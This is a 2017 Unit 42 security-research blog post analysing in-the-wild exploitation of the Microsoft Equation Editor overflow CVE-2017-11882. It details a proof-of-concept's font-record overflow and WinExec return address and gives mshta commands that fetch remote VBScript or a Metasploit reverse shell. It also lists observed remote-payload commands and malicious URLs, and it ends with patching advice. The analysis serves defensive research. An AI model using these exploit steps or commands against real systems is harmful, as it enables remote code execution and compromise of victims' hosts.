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# Analysis of CVE-2017-11882 Exploit in the Wild

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* ![Profile Icon](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-profile-grey.svg)  
  By:
  
  * [Yanhui Jia](https://unit42.paloaltonetworks.com/author/yanhui-jia/)

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  Published:December 8, 2017

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  * [Equation Editor](https://unit42.paloaltonetworks.com/tag/equation-editor/)
  * [Microsoft](https://unit42.paloaltonetworks.com/tag/microsoft/)

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  Recently, Palo Alto Networks Unit 42 vulnerability researchers captured multiple instances of traffic in the wild exploiting [CVE-2017-11882](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/), patched by Microsoft on November 14, 2017 as part of the monthly security update process. Exploits for this vulnerability have been released for Metasploit, and multiple security researchers have published articles on specific attacks taking advantage of this vulnerability. In this article, we describe the vulnerability and discuss mechanisms for exploiting it.

About CVE-2017-11882:  
[Microsoft Equation Editor,](https://support.office.com/en-us/article/Equation-Editor-6eac7d71-3c74-437b-80d3-c7dea24fdf3f) which is a Microsoft Office component, contains a stack buffer overflow vulnerability that enables remote code execution on a vulnerable system. The component was compiled on November 9, 2000, over 17 years ago. Without any further recompilation, it was used in all currently upported versions of Microsoft Office. Microsoft Equation Editor is an out-of-process COM server that is hosted by eqnedt32.exe, meaning it runs as it's own process and can accept commands from other processes.  
Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) should protect against such attacks. However, because of the manner in which eqnedt32.exe was linked, it will not use these features, subsequently allowing code execution. Being an out-of-process COM server, protections specific to Microsoft Office such as EMET and Windows Defender Exploit Guard are not applicable to eqnedt32.exe, unless applied system-wide. This provides the attacker with an avenue to lure targets into opening specially crafted documents, resulting in the ability to execute an embedded attacker command.  
Analysis of Exploit Proof of Concept:  
The POC RTF sample we analyze in this section has the following attributes:

|------------|------------------------------------------------------------------|
| **SHA256** | 02a69029bf2b0c97bfb9ddbbe6e89409f1b11007a92d8ca4a6df6597b72eb453 |

and is available on [GitHub](https://github.com/embedi/CVE-2017-11882/blob/master/example/exploit.rtf). Through analysis of the file contents, we can see the object class is Equation.3, which means it is an OLE equation object:  
![1-rtf-hexdump](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/1-rtf-hexdump.png)

*Figure 1 RTF File Contents Showing Class Equation.3*

After extracting the object, we can skip OLE, CompObj and ObjInfo streams, and go directly to Equation Native stream:  
![2-ole-hex-dump](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/2-ole-hex-dump.png)

*Figure 2 File Contents showing various Streams*

The stream has a header with \[following structure\](https://paloaltonetworks.sharepoint.com/sites/u42/Shared Documents/Publishing/Draft/1.%09https:/embedi.com/files/white-papers/skeleton-in-the-closet.pdf):

![Real Image 4](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/Real-Image-4.png)

After that we can see the [MTEF](https://rtf2latex2e.sourceforge.net/MTEF3.html#Introduction) data, which contains a MTEF header and multiple records. MTEF is a binary equation format used by the equation editor. The header has the general information about the MTEF data:

|---------------------|-----------------|-----------|-----------------|
| **Description**     | **Size (byte)** | **Value** | **Comment**     |
| MTEF Version        | 1               | 0x3       | MTEFv3          |
| Generating Platform | 1               | 0x1       | Windows         |
| Generating Product  | 1               | 0x1       | Equation Editor |
| Product Version     | 1               | 0x3       |                 |
| Product Subversion  | 1               | 0xa       |                 |

*Table 1METF header*

Following the header are some MTEF records. The malicious record that triggers the vulnerability is Font record, which in the sample has the below structure:

|-----------------|---------------------------|-------------------------------------------------------------|---------------------------------------|
| **Description** | **Size (byte)**           | **Value**                                                   | **Comment**                           |
| Tag             | 1                         | 0x8                                                         | 0x8 denotes Font record               |
| Typeface Number | 1                         | 0x5a                                                        |                                       |
| Style           | 1                         | 0x5a                                                        |                                       |
| Font Name       | Variable, NULL terminated | "cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA" + 0x00430c12 | Overflow and overwrite return address |

*Table 2 Font record*

The long font name overflows and causes the code execution. Putting it in the debugger to take a deeper look show us this:![3-ida](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/3-ida.png)

*Figure 3 IDA View of the Sample*

The vulnerability occurs when EQNEDT32.EXE tries to copy the font name into a locally created buffer. The buffer is only 40 (0x28) bytes, however if the font name is longer than 40 bytes (in this case 48 bytes), the buffer will overflow and EBP as well as the return address will be overwritten. When the function is done executing, the control flow will be taken to the attacker assigned address.

![4-od-before-font-name](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/4-od-before-font-name.png)

*Figure 4 Before Font Name Copy*

![5-od-after-font-name](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/5-od-after-font-name.png)

*Figure 5 After Font Name Copy*

In this case, the function will return "back" to 0x430c12, which is the address of WinExec, and the argument is the "font name", also an attacker supplied input:![6-od-code-execution](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/6-od-code-execution.png)

*Figure 6 Debugger View of Returning to WinExec*

Then we can see the Windows calculator (calc.exe) opening:![7-od-calculator](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/7-od-calculator.png)

*Figure 7 Calc.exe Displayed when the Exploit Completes*

Exploit Method Analysis

Next, we show a few ways attackers can exploit this vulnerability. In the proof of concept, the hexadecimal bytes, **636d642e657865202f632063616c632e65786520** , are used for the following command: **cmd.exe /c calc.exe**

When we opened the proof of concept, this executed the Windows calculator and we saw the calculator UI appear. However, there is a limitation with this method, as the buffer can only put so many bytes into the buffer that is overflowing.

![8-od](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/8-od.png)

*Figure 8 IDA View of code copying overflow buffer into v4*

The size of an array that the attacker can overflow is 36 bytes (overflow\_buffer in the above figure). However, it is possible to use the space of the v12 variable and saved EBP, which allows for an extra 8 bytes of space. If the command we want to issue is longer than the combined 44 bytes available, how could we do that?

One way is to host a file on a server controlled by the attack and use the 44 bytes for a command that accesses that server and executes another binary. For example, the following command uses the mshta executable to run VBscript code from a remote server, as is only 37 characters long (ignoring the de-fanging brackets.)

**mshta http://192.168.56\[.\]102/test.html**

Below is code the attacker could host on that server, which would accomplish the same goal of executing the windows, but could do much more.  
\<HTML\> \<meta http-equiv="Content-Type" content="text/html; charset=utf-8"\> \<HEAD\> \<script language="VBScript"\> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" self.close \</script\> \<body\> demo \</body\> \</HEAD\> \</HTML\>

|-------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | \<HTML\> \<meta http-equiv="Content-Type" content="text/html; charset=utf-8"\> \<HEAD\> \<script language="VBScript"\> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" self.close \</script\> \<body\> demo \</body\> \</HEAD\> \</HTML\> |

A similar option is to direct the injected instruction to point to a Metasploit server to give the attacker a reverse shell. In the screenshot below, Metasploit is being configured to host a remote shell on the server 192.168.56.103.

![9-od](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/9-od.png)

*Figure 9 Running the Metasploit server*

The command we need to insert into our exploit is just 40 bytes long:  
**mshta.exe http://192.168.56\[.\]103:8080/abc**  
When the victim opens the vile, the Metasploit server delivers the reverse shell and gives the attacker control over the host (see below.)

![10-od](https://unit42.paloaltonetworks.com/wp-content/uploads/2017/12/10-od.png)

*Figure 10 Metasploit Delivering Payload to Exploited Hos*t

Exploit Samples in the Wild

Since November 20^th^, we have identified thousands of attempted attacks which exploit this vulnerability in AutoFocus. Most of these use the techniques described above, either by calling cmd.exe directly or by using mshta.exe or cscript.exe to execute a remote script from an attacker controlled server. The table below shows examples of the most common techniques.

|------------------|---------------------------------------------|----------------------------------------------------------------------------|-----------------------------------------------------------------------------------------|
| Command          | Parameters                                  | Description                                                                | Example                                                                                 |
| **cmd.exe**      | malicious file IP + remote malicious file   | cmd.exe to call local malicious file cmd.exe to call remote malicious file | cmd.exe /c calc.exe cmd.exe /c start \\\\\\\\172.16.38.130\\\\c$\\\\1.exe               |
| **cscript.exe**  | script language + script                    | cscript.exe to call malicious file                                         | cscript.exe //E:jscript \\\\\\\\xxd.cc\\\\bwou.png                                      |
| **mshta.exe**    | IP + remote malicious file                  | mshta.exe to call remote malicious file                                    | mshta.exe http://104.254.99\[.\]77/x.txt mshta https://seliodrones\[.\]info/otr/otr.hta |
| **regsvr32.exe** | Installation Flags and remote malicious DLL | regsvr32.exe to call remote malicious DLL                                  | regsvr32 /i:http\[:\]//1997106195 scrobj.dll \&AA C                                     |

One example of an attack in the wild includes this sample:

|------------|------------------------------------------------------------------|
| **SHA256** | 7ccd19d3dc34c6dbee600961d73cee0cab5c6e421e9e6b8a31c0b65c14ae3551 |

This sample was distributed as a fake invoice document attachment in email to organizations in Europe. After the user opened the document it executed the following command:

**mshta.exe , mshta https://zilk\[.\]pw/url/index.hta**

The code was hosted (and is no longer available) at this location executed a PowerShell script which in turn would download and executes a file from: hxxps://zilk\[.\]pw/url/smstrace.exe. This file is a sample of the information stealing Trojan [FormBook](https://autofocus.paloaltonetworks.com/#/tag/Unit42.FormBook).  
Despite the size limitations on the overflow buffer, many attackers have found ways to exploit this vulnerability to achieve their goals.

Conclusion and Mitigation:  
CVE-2017-11882 is in the wild and will likely continue to be exploited for years to come. To remediate this issue, administrators should deploy Microsoft's patch for this vulnerability, available here: [https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882) .  
Those who can't deploy the patch should consider disabling the Equation Editor as discussed in [Microsoft Knowledge Base Article 4055535](https://support.microsoft.com/help/4055535).  
Palo Alto Networks customers are protected from this vulnerability in the following ways:

* Threat Prevention Signature 36804 identifies files containing the exploit code in the Next Generation Firewall
* WildFire and Traps identify files exploiting this vulnerability as malicious

**Suspicious URLs used by Exploit Samples**  
smb\[:\]//185.175.208.10/s/r.exe  
smb\[:\]//185.175.208.10/s/p.exe  
http\[:\]//78.46.152.143\\\\webdav  
http\[:\]//138.68.144.82  
http\[:\]//103.59.95.105/test  
http\[:\]//104.254.99.77/x.txt  
http\[:\]//112.213.118.108\[:\]11882/a  
http\[:\]//112.213.118.108\[:\]11882/  
http\[:\]//138.68.144.82/w/trx.hta  
http\[:\]//185.200.116.171\[:\]80/1  
http\[:\]//203.128.247.165/a.hta  
http\[:\]//212.83.61.198/read.txt  
http\[:\]//43.242.35.13/ofc.hta  
http\[:\]//45.32.169.233\[:\]80/test  
http\[:\]//45.77.122.135\[:\]80/a.hta  
http\[:\]//67.218.155.0/1.hta  
http\[:\]//141.255.149.141\[:\]8080/e8eb2bWlyg.sct  
http\[:\]//bit.ly/2zaevrt  
https\[:\]//zilk.pw/url/index.hta  
https\[:\]//zilk.pw/url/smstrace.exe  
http\[:\]//tinyurl.com/y9m5opxz  
http\[:\]//vulns.sg/RickAstley.hta  
http\[:\]//a1-transport.eu/rFIB.hta  
http\[:\]//malo.com/bicho  
http\[:\]//nobles-iq.com/xpct/yxxM.hta  
http\[:\]//pelli.mzf.cz/gt.hta  
http\[:\]//sldkj.com/a  
https\[:\]//pastebin.com/raw/1CWyVtXs  
https\[:\]//pastebin.com/raw/PqUXNZbB  
https\[:\]//seliodrones.info/otr/otr.hta  
http\[:\]//suo.im/2boSoQ  
http\[:\]//tinyurl.com/err43ery33  
http\[:\]//totonam.com/js/zd.hta  
http\[:\]//www.lucien116.com/abc  
http\[:\]//facebookcoc.sytes.net\[:\]8080/xp8jdXNo.sct
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### Tags

* [Equation Editor](https://unit42.paloaltonetworks.com/tag/equation-editor/ "Equation Editor")
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  ![Pictorial representation of PAN-OS CVE-2026-0257. A vibrant city skyline at night, with tall skyscrapers and glowing digital beams extending into the sky, suggesting advanced technology and connectivity.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/06/07_Vulnerabilities_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) June 9, 2026 [#### Threat Brief: Active Exploitation of PAN-OS CVE-2026-0257](https://unit42.paloaltonetworks.com/active-exploitation-of-pan-os-cve-2026-0257/)

* [CVE-2026-0257](https://unit42.paloaltonetworks.com/tag/cve-2026-0257/ "CVE-2026-0257")

* [Vulnerability](https://unit42.paloaltonetworks.com/tag/vulnerability/ "vulnerability")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/active-exploitation-of-pan-os-cve-2026-0257/ "Threat Brief: Active Exploitation of PAN-OS CVE-2026-0257")  
  ![Pictorial representation of CVE-2026-30300. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/06_Vulnerabilities_1920x900-3-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) May 6, 2026 [#### Threat Brief: Exploitation of PAN-OS Captive Portal Zero-Day for Unauthenticated Remote Code Execution](https://unit42.paloaltonetworks.com/captive-portal-zero-day/)

* [CVE-2026-0300](https://unit42.paloaltonetworks.com/tag/cve-2026-0300/ "CVE-2026-0300")

* [EarthWorm](https://unit42.paloaltonetworks.com/tag/earthworm/ "EarthWorm")

* [PAN-OS](https://unit42.paloaltonetworks.com/tag/pan-os/ "PAN-OS")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/captive-portal-zero-day/ "Threat Brief: Exploitation of PAN-OS Captive Portal Zero-Day for Unauthenticated Remote Code Execution")  
  ![Pictorial representation of a severe Linux vulnerability. Close-up of a woman wearing glasses and focusing intently on a computer screen.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/05/05_Vulnerabilities_1920x900-2-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) May 5, 2026 [#### Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/)

* [Containers](https://unit42.paloaltonetworks.com/tag/containers/ "Containers")

* [CVE-2026-31431](https://unit42.paloaltonetworks.com/tag/cve-2026-31431/ "CVE-2026-31431")

* [Kubernetes](https://unit42.paloaltonetworks.com/tag/kubernetes/ "Kubernetes")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/ "Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years")  
  ![Pictorial representation of CVE-2023-33538. Abstract image of a glowing red Wi-Fi symbol on a circuit board, with intricate patterns and a futuristic appearance.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/04/04_Vulnerabilities_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) April 16, 2026 [#### A Deep Dive Into Attempted Exploitation of CVE-2023-33538](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/)

* [Botnet](https://unit42.paloaltonetworks.com/tag/botnet/ "botnet")

* [Command injection](https://unit42.paloaltonetworks.com/tag/command-injection/ "Command injection")

* [CVE-2023-33538](https://unit42.paloaltonetworks.com/tag/cve-2023-33538/ "CVE-2023-33538")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/exploitation-of-cve-2023-33538/ "A Deep Dive Into Attempted Exploitation of CVE-2023-33538")  
  ![Pictorial representation of BeyondTrust vulnerability CVE-2026-1731. Digital art depicting a stylized mountain range with vibrant blue and red hues. The peaks are accentuated by glowing particles and an abstract, starry backdrop, creating a futuristic landscape.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/14_Overview_1920x900-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 19, 2026 [#### VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/)

* [Bash](https://unit42.paloaltonetworks.com/tag/bash/ "bash")

* [CVE-2026-1731](https://unit42.paloaltonetworks.com/tag/cve-2026-1731/ "CVE-2026-1731")

* [PowerShell](https://unit42.paloaltonetworks.com/tag/powershell/ "PowerShell")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/beyondtrust-cve-2026-1731/ "VShell and SparkRAT Observed in Exploitation of BeyondTrust Critical Vulnerability (CVE-2026-1731)")  
  ![](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/02/AdobeStock_1020436911-786x440.jpeg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/07/top-threats.svg)High Profile Threats](https://unit42.paloaltonetworks.com/category/top-cyberthreats/) February 17, 2026 [#### Critical Vulnerabilities in Ivanti EPMM Exploited](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/)

* [CVE-2026-1281](https://unit42.paloaltonetworks.com/tag/cve-2026-1281/ "CVE-2026-1281")

* [CVE-2026-1340](https://unit42.paloaltonetworks.com/tag/cve-2026-1340/ "CVE-2026-1340")

* [Ivanti](https://unit42.paloaltonetworks.com/tag/ivanti/ "Ivanti")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/ "Critical Vulnerabilities in Ivanti EPMM Exploited")  
  ![Pictorial representation of CVE-2025-0921. Digital illustration of a map of North America with interconnected glowing lines and dots symbolizing network connections across the continent.](https://unit42.paloaltonetworks.com/wp-content/uploads/2026/01/06_Vulnerabilities_1920x900-2-1-786x368.jpg)  
  [![category icon](https://unit42.paloaltonetworks.com/wp-content/uploads/2024/06/icon-threat-research.svg)Threat Research](https://unit42.paloaltonetworks.com/category/threat-research/) January 30, 2026 [#### Privileged File System Vulnerability Present in a SCADA System](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/)

* [CVE-2025-0921](https://unit42.paloaltonetworks.com/tag/cve-2025-0921/ "CVE-2025-0921")

* [Privilege escalation](https://unit42.paloaltonetworks.com/tag/privilege-escalation/ "privilege escalation")

* [SCADA](https://unit42.paloaltonetworks.com/tag/scada/ "SCADA")  
  [Read now ![Right arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-right-arrow-withtail.svg)](https://unit42.paloaltonetworks.com/iconics-suite-cve-2025-0921/ "Privileged File System Vulnerability Present in a SCADA System")

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